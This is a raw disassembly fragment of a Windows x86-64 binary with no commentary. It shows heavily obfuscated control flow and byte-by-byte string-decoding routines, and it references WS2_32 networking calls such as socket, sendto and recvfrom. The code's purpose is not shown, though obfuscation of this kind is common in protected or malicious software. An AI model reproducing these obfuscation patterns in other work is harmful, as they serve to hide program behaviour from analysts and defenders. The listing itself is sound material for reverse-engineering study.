cmp rbx, rax
je 0x140084115
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x1400840e4
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140083ca0
lea rbx, [r8 + 0x80]
lea r8, [rbx + 0x1000]
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14008470e
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x1400846f1
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x140083e9d
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x140083e82
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x140083e63
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x140084098
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x14008404b
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x140084007
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x140083fe1
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x140083ca0
lea rbx, [r8 + 0x5a]
lea r8, [rbx + 3]
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x140083fc5
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x140083fa6
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x140083f87
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x140083f6b
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x140083f4c
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x140083f29
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x140083f07
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x140083edf
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x140083ebc
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x140083ca0
lea rbx, [r8 + 8]
lea r8, [rbx + 0x20]
jmp 0x140083ca0
lea edx, [r10 - 0x34]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140083c90
lea ecx, [r10 + 4]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1c
jmp 0x140083c26
lea edx, [r10 + 0x3c]
movzx eax, dl
and al, r9b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140083bb6
lea edx, [r10 - 0x60]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x60
add dil, dl
movzx r11d, r10b
jmp 0x140084587
lea edx, [r10 - 0x28]
movzx eax, r9b
and al, dl
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r8
dec r10
inc r10
jmp 0x140083ba3
lea ecx, [r10 + 0x10]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x70
dec r10
inc r10
jmp 0x140083ba3
lea edx, [r10 + 0x48]
movzx eax, r9b
and al, dl
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx r11d, r10b
jmp 0x1400845f3
lea ecx, [r10 + 0x80]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x80
jmp 0x140084618
lea ecx, [r10 - 0x48]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 8
jmp 0x14008461b
lea edx, [r10 - 0x10]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140084650
lea edx, [r10 + 0x28]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x18
add dil, dl
jmp 0x14008467b
lea edx, [r10 + 0x60]
movzx eax, r9b
and al, dl
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x1400846d7
lea ecx, [r10 - 0x14]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x74
mov byte [rbp + r10 + 0x5d0], dil
inc r10
jmp 0x140083ba3
lea edx, [r10 + 0x24]
movzx eax, dl
and al, r9b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp r8, 0x41
jb 0x140083ff7
movzx r11d, r10b
lea edx, [r11 - 0x28]
movzx eax, r9b
and al, dl
mov ecx, ntohs
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x140084587
lea edx, [r10 + 0x5c]
movzx eax, dl
and al, r9b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp rbx, 0x64
jae 0x1400844a2
lea rcx, [r8 + 3]
cmp rbx, rcx
jbe 0x140084376
lea edx, [r10 + 8]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x38
add dil, dl
jmp 0x140084021
lea ecx, [r10 - 0x6c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xc
lea rax, [r8 + rbx]
cmp rax, 8
je 0x1400844cd
lea rax, [r8 + 0x1000]
cmp rbx, rax
jbe 0x1400842c2
lea ecx, [r10 + 0x54]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4c
jmp 0x140084065
lea edx, [r10 + 0x38]
movzx eax, dl
and al, r9b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x5d0]
add rax, r8
add r10, rax
inc r10
jmp 0x140083ba3
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x10
jmp 0x14008467b
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r9b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14008464d
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
jmp 0x14008461b
lea edx, [r10 + 0x18]
movzx eax, dl
and al, r9b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140084618
movzx r11d, r10b
lea ecx, [r11 + 0x50]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x30
jmp 0x1400845f3
lea edx, [r10 - 0x78]
mov ecx, 0x24
jmp 0x1400845bd
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
inc r8
dec r10
inc r10
jmp 0x140083ba3
movzx r11d, r10b
lea edx, [r11 - 8]
movzx eax, dl
and al, r9b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140084587
lea rax, [r8 + 0x80]
cmp rbx, rax
jae 0x140084221
lea ecx, [r10 - 0x1c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3c
jmp 0x1400840ae
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008425b
lea edx, [r10 + 0x68]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x5d0]
add rax, r8
add r10, rax
inc r10
jmp 0x140083ba3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008427f
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x50
jmp 0x14008467b
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400842a7
lea edx, [r10 - 0x78]
movzx eax, dl
and al, r9b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140084618
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x1400840ae
lea edx, [r10 + 0x18]
mov ecx, 0x2c
jmp 0x1400845bd
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400842ee
movzx r11d, r10b
lea edx, [r11 + 0x1c]
movzx eax, dl
and al, r9b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140084587
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140084305
lea edx, [r10 - 0x54]
mov ecx, 0x26
jmp 0x1400845bd
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140084329
lea ecx, [r10 + 4]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1c
jmp 0x14008461b
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14008434e
lea edx, [r10 - 0x34]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14008464d
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140084065
lea ecx, [r10 - 0x6c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xc
jmp 0x14008467b
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008439b
lea edx, [r10 - 0x30]
movzx eax, r9b
and al, dl
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x1400846d7
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400843c3
lea edx, [r10 + 0x60]
movzx eax, r9b
and al, dl
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140084650
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400843eb
lea edx, [r10 - 0x10]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140084618
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140084417
movzx r11d, r10b
lea edx, [r11 - 0x48]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 8
add dil, dl
jmp 0x1400845f3
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140084445
lea ecx, [r10 + 0x80]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x80
dec r10
inc r10
jmp 0x140083ba3
cmp rbx, rcx
jne 0x140084472
lea edx, [r10 + 0x48]
movzx eax, r9b
and al, dl
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r8
dec r10
inc r10
jmp 0x140083ba3
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140084021
movzx r11d, r10b
lea edx, [r11 + 0x10]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x70
add dil, dl
jmp 0x140084587
movzx r11d, r10b
lea edx, [r11 - 0x60]
movzx eax, r9b
and al, dl
add al, al
movzx edi, byte [rbp + r10 + 0x5d0]
sub dil, al
sub dil, 0x60
add dil, r9b
add dil, dl
jmp 0x1400845f3
lea edx, [r10 + 0x68]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140084650
lea edx, [r10 + 0x64]
movzx eax, dl
and al, r9b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008461b
lea ecx, [r10 + 0xc]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x54
dec r10
inc r10
jmp 0x140083ba3
lea edx, [r10 + 0x44]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x140083ba3
movzx r11d, r10b
lea ecx, [r11 + 0x7c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x64
jmp 0x140084587
movzx r11d, r10b
lea ecx, [r11 - 0x14]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x74
sub r11b, 0x44
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x24
add r9b, r11b
mov byte [rbp + r10 + 0x5d0], r9b
inc r8
dec r10
inc r10
jmp 0x140083ba3
lea edx, [r10 + 0x5c]
mov ecx, 0x3e
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x140083ba3
movzx r11d, r10b
lea ecx, [r11 - 0x6c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xc
sub r11b, 0x7c
movzx eax, r9b
and al, r11b
mov ecx, 0x32
sub cl, al
add cl, cl
add cl, r9b
add cl, dil
add cl, r11b
mov byte [rbp + r10 + 0x5d0], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140083ba3
lea rcx, [r10 + r12]
movzx r9d, r11b
and r11b, cl
mov eax, 0x2e
sub al, r11b
lea edi, [rax + rax]
add dil, cl
add dil, r9b
lea edx, [r10 + 0x4c]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
sub cl, 0x14
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x5d0], al
inc r8
add rax, r8
sub r10, rax
lea ecx, [r10 + 0x30]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x50
add r9b, cl
mov byte [rbp + r10 + 0x5d0], r9b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x5d0]
add rax, r8
add r10, rax
inc r10
jmp 0x140083ba3
lea rdx, [r10 + r15]
movzx eax, r11b
and al, dl
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
movzx eax, byte [rbp + r10 + 0x5d0]
add rax, r8
add r10, rax
inc r10
jmp 0x140083ba3
add r10b, 0x74
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x2c
jmp 0x140083ba0
sub r10b, 0x54
movzx eax, r10b
and al, r9b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x140083b90
lea rcx, [rbp + 0x17e3b00]
jmp 0x140084747
lea rcx, [rbp + 0x141f0e4]
jmp 0x140084747
lea rcx, [rbp + 0x5d0]
lea rdx, [0x1401dd736]
call fcn.14003a4c0
mov byte [rbp + 0x3b0], WSACleanup
mov byte [rbp + 0x3b1], 0x57
mov byte [rbp + 0x3b2], 0x5b
mov byte [rbp + 0x3b3], 0x59
mov byte [rbp + 0x3b4], 0x56
mov byte [rbp + 0x3b5], 0x5a
mov byte [rbp + 0x3b6], 0x9c
mov byte [rbp + 0x3b7], 0x4a
mov byte [rbp + 0x3b8], 0x53
mov byte [rbp + 0x3b9], 0x46
mov byte [rbp + 0x3ba], 0x4c
mov byte [rbp + 0x3bb], 0x44
mov byte [rbp + 0x3bc], gethostname
mov byte [rbp + 0x3bd], gethostname
mov byte [rbp + 0x3be], 0x4a
mov byte [rbp + 0x3bf], 0xa7
xor eax, eax
mov word [rbp + 0x3c0], ax
mov byte [rbp + 0x3c2], al
movabs rsi, 0x3d4bfe82109a3367
movabs r14, 0x27abf292956bce9f
movabs r12, 0xad13f58e743767d1
movabs r15, 0xb7e3fb8631ce9a35
movzx edi, byte [rsp + 0x50]
nop
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x13
jae 0x1400853e0
movzx r9d, byte [rbp + r10 + 0x3b0]
mov rdx, r9
nop dword [rax]
cmp rbx, r10
ja 0x1400853d7
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14008485c
lea rcx, [r10 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x2f
jmp 0x1400848a3
je 0x140085369
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400852e3
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400852b6
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140085275
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140085254
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14008520d
cmp r8, r10
ja 0x1400853ce
lea rax, [r8 + 0x200]
cmp rbx, rax
jae 0x1400848d0
lea ecx, [r10 + 0x73]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x25
jmp 0x140084920
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400851f1
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400851d0
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400851b1
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140085196
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14008517b
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14008514e
nop
lea rax, [rbx + r8]
cmp rax, r10
jbe 0x140084e9f
nop dword [rax]
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x140084e7c
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x140084e58
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140084e37
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140084e14
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x140084df6
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140084dd7
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x140084db8
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x140084d9d
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x140084d6c
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x140084930
lea rbx, [r8 + 0x40]
lea r8, [rbx + 2]
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x1400853b1
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x140085394
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x140084b1d
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x140084b02
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x140084ae7
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x140084d1d
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x140084cd1
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x140084c91
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x140084c6b
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x140084930
lea rbx, [r8 + 2]
lea r8, [rbx + 0x80]
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x140084c3e
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x140084c1f
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x140084c04
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x140084be5
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x140084bc3
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x140084ba4
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x140084b7f
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x140084b57
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x140084b38
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x140084930
lea rbx, [r8 + 0x80]
lea r8, [rbx + 5]
jmp 0x140084930
lea ecx, [r10 - 0x13]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7b
jmp 0x140084920
lea ecx, [r10 + 0x1f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x27
jmp 0x1400848a3
lea ecx, [r10 + 0x51]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x37
jmp 0x140084826
lea ecx, [r10 - 0x68]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x28
movzx r11d, r10b
jmp 0x140085227
lea edx, [r10 - 0x36]
movzx eax, dl
and al, r9b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x140084813
lea edx, [r10 - 4]
movzx eax, dl
and al, r9b
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x140084813
lea ecx, [r10 + 0x2e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x42
movzx r11d, r10b
jmp 0x14008528f
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add rbx, r8
jmp 0x1400852ca
lea edx, [r10 - 0x6e]
movzx eax, dl
and al, r9b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400852ca
lea ecx, [r10 - 0x3c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5c
jmp 0x1400852f9
lea edx, [r10 - 0xa]
movzx eax, dl
and al, r9b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140085324
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x18
movzx eax, byte [rbp + r10 + 0x3b0]
add rax, r8
add r10, rax
inc r10
jmp 0x140084813
lea ecx, [r10 + 0x25]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 3
mov byte [rbp + r10 + 0x3b0], dil
inc r10
jmp 0x140084813
lea ecx, [r10 + 0x57]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x61
cmp r8, 6
jb 0x140084c81
movzx r11d, r10b
lea ecx, [r11 + 0xa]
movzx eax, cl
and al, r9b
mov edx, 0x1d
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea edi, [rdx + rdx]
jmp 0x140085227
lea ecx, [r10 - 0x77]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x41
cmp rbx, 0x200
jae 0x14008510b
lea rax, [r8 + 6]
cmp rbx, rax
jbe 0x140085053
lea edx, [r10 - 2]
movzx eax, dl
and al, r9b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140084ca7
lea ecx, [r10 - 0x45]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1d
lea rax, [rbx + r8]
cmp rax, 3
je 0x140085132
lea rax, [r8 + 0x200]
cmp rbx, rax
jbe 0x140084f7b
lea ecx, [r10 - 0x75]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x33
jmp 0x140084ce7
lea edx, [r10 - 0x4e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x3b0]
add rax, r8
add r10, rax
inc r10
jmp 0x140084813
lea ecx, [r10 - 0x1c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3c
jmp 0x140085324
lea edx, [r10 + 0x16]
movzx eax, dl
and al, r9b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400852f9
lea edx, [r10 + 0x48]
movzx eax, dl
and al, r9b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400852ca
lea ecx, [r10 + 0x7a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x56
add rbx, r8
jmp 0x1400852ca
movzx r11d, r10b
lea edx, [r11 - 0x54]
movzx eax, dl
and al, r9b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008528f
lea ecx, [r10 - 0x22]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x12
dec r10
inc r10
jmp 0x140084813
lea ecx, [r10 + 0x10]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x70
inc r8
dec r10
inc r10
jmp 0x140084813
movzx r11d, r10b
lea edx, [r11 + 0x42]
movzx eax, dl
and al, r9b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140085227
lea rax, [r8 + 0x200]
cmp rbx, rax
jae 0x140084ec6
lea ecx, [r10 + 0x67]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x2f
jmp 0x140084d33
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140084efc
lea ecx, [r10 - 0x1a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4a
movzx eax, byte [rbp + r10 + 0x3b0]
add rax, r8
add r10, rax
inc r10
jmp 0x140084813
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140084f24
lea edx, [r10 - 0x7e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400852f9
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140084f4f
lea edx, [r10 + 0x1e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add rbx, r8
jmp 0x1400852ca
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140084d33
movzx r11d, r10b
lea ecx, [r11 - 0x14]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x74
jmp 0x14008528f
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140084fa3
movzx r11d, r10b
lea ecx, [r11 + 0x59]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6f
jmp 0x140085227
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140084fcd
lea ecx, [r10 - 0xb]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x4d
dec r10
inc r10
jmp 0x140084813
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140084ff5
movzx r11d, r10b
lea ecx, [r11 - 0x3d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x55
jmp 0x14008528f
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140085019
lea ecx, [r10 + 0x5f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x67
jmp 0x1400852ca
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140084ce7
lea ecx, [r10 - 0x37]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7f
movzx eax, byte [rbp + r10 + 0x3b0]
add rax, r8
add r10, rax
inc r10
jmp 0x140084813
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008508d
lea edx, [r10 - 0x34]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x3b0]
add rax, r8
add r10, rax
inc r10
jmp 0x140084813
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400850b1
lea ecx, [r10 - 0x66]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x36
jmp 0x140085324
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400850db
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
dec r10
inc r10
jmp 0x140084813
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x140084ca7
movzx r11d, r10b
lea edx, [r11 + 0x3c]
movzx eax, dl
and al, r9b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140085227
movzx r11d, r10b
lea edx, [r11 - 0x28]
movzx eax, dl
and al, r9b
movzx ecx, byte [rbp + r10 + 0x3b0]
sub cl, al
add cl, 0xc
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14008528f
lea edx, [r10 - 0x5a]
movzx eax, dl
and al, r9b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x1400852f9
lea ecx, [r10 - 0x4f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x29
movzx eax, byte [rbp + r10 + 0x3b0]
add rax, r8
add r10, rax
inc r10
